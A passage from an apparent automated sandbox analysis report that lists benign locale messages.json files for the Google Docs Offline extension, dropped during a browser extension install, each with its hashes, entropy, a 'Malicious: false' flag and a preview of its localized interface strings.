Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
